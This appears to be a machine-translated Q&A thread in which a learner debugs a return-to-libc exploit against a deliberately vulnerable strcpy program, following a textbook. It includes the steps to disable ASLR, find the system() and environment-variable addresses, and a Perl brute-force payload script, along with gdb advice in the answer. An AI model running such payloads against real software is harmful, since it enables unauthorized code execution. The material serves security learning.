2012-11-26 11 views
6

私はバッファオーバーフロー、特にlibcの種類への復帰について戸惑う。libcに戻る - 不正な命令

Iは、以下の脆弱なコードがあります。私は-mpreferred-stack-boundary=2フラグでGCC-2.95(NO -fstack-protector)を使用してコンパイル

#include<stdio.h> 
#include<string.h> 

main(int argc, char **argv) 
{ 
    char buffer[80]; 
    getchar(); 
    strcpy(buffer, argv[1]); 
    return 1; 
} 

を。私は"Hacking: The Art of Exploitation"のlibcの章に戻りました。

まず、I無効ASLR:

:私は systemを使用して実行したいコマンドを含むように環境変数を作成し

$ cat find_system.c 
int main() { 
    system(""); 
    return 0; 
} 
$ gdb -q find_system 
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done. 
(gdb) break main 
Breakpoint 1 at 0x8048416 
(gdb) run 
Starting program: /home/bob/return_to_libc/find_system 

Breakpoint 1, 0x08048416 in main() 
(gdb) p system 
$1 = {<text variable, no debug info>} 0xb7eb6680 <system> 

$ cat /proc/sys/kernel/randomize_va_space 
0 

私はsystemのアドレスを発見

$ cat get_env.c 
#include <stdio.h> 
#include <stdlib.h> 

int main(int argc, char *argv[]) { 
    printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1])); 
    return 0; 
} 
$ export EXPLOIT=/bin/zsh 
$ ./get_env EXPLOIT 
EXPLOIT=/bin/zsh: 0xbffff96d 

そして、私はperlスクリプトを自動化しましたシェルを入手しました:

$ cat script.pl 
#!/usr/bin/perl 

for ($i = 1; $i < 200; $i++) { 
    print "Perl count: $i\n"; 
    system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'"); 

} 
$ ./script.pl 
(...) 
Perl count: 69 
Perl count: 70 
Perl count: 71 
Perl count: 72 
Illegal instruction 
Perl count: 73 
Segmentation fault 
Perl count: 74 
Segmentation fault 
(...) 

どこが間違っていましたか?私のシェルの代わりに "違法な教え"を受けるのはなぜですか?

+0

デバッガをアタッチして、デバッガを接続するのに十分な時間を与えるために、脆弱なプログラムに 'sleep(30)'を投げてください。おそらく、有効なメモリアドレスにジャンプしていますが、命令ではなくデータが含まれています。 –

答えて

6
$ gdb vuln 
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf' 

さまざまなエラーをテストするための数を変更します。引数を生成するのに役立つように、python -c "print 'A'*73"(上記を生成するために使用された73)を見つける。

gdbはクラッシュする場所と、クラッシュしたときのEIP/RIPの場所を正確に伝えます。これはあなたの質問への答えに導くはずです。

おそらく、スタックのリターンアドレスに適切なポインタが得られておらず、実行が有効な命令に逆アセンブルされないメモリに上がっています。私はあなたが近くにいると思います。セグメンテーション障害は、割り当てられていないメモリ領域での実行着陸の可能性が高くなります。

(gdb) x/10i $eipを使用して、クラッシュ時にEIPの指示を識別します。そのコマンドの10を変更することで示される逆アセンブリの長さを変えることができます。

また、システムに引数を渡す場所を見つけ出す必要があります。これにより、システムが呼び出すための呼び出し規約の適切な場所にシステムが配置されます。 gdbはここでもあなたを助けることができるはずです(再び、x - x/4w、そしてi rを使用してください)。

悪用に成功するには、上記の両方の部分が必要です。0xb7eb6680は戻りアドレスになければなりません。また、0xbffff96dはシステムが最初の引数を読み取る場所でなければなりません。

もう1つの役に立つトリック:strcpy機能の最後にあるretにブレークポイントを設定します。これは、あなたのスタックを検査し、状態を登録し、あなたが何をしようとしているのかを識別するのに便利な場所です。 retは、あなたが提供している返信先のアドレスが読み込まれ、プロセッサがそのアドレスで実行を開始し、あなたが呼び出しているものに適切な引数で実行を継続できると仮定して、オフになります。プログラムの状態はretです。これはメークまたはブレークポイントなので、入力内容に何が問題なのか、なぜこの脆弱性が悪用されるのかがわかりません。

私のgdb構文が真実ではない場合は、私の主なデバッガーではありません。

+0

ありがとうございます。あなたの提案は、最終的には問題が何であるかを知ることにつながった。問題は、どうにかしてgetenv()が返すアドレスにアクセスできないということでした。私は 'environ'から文字列を取り出してこれを修正しました。 –

関連する問題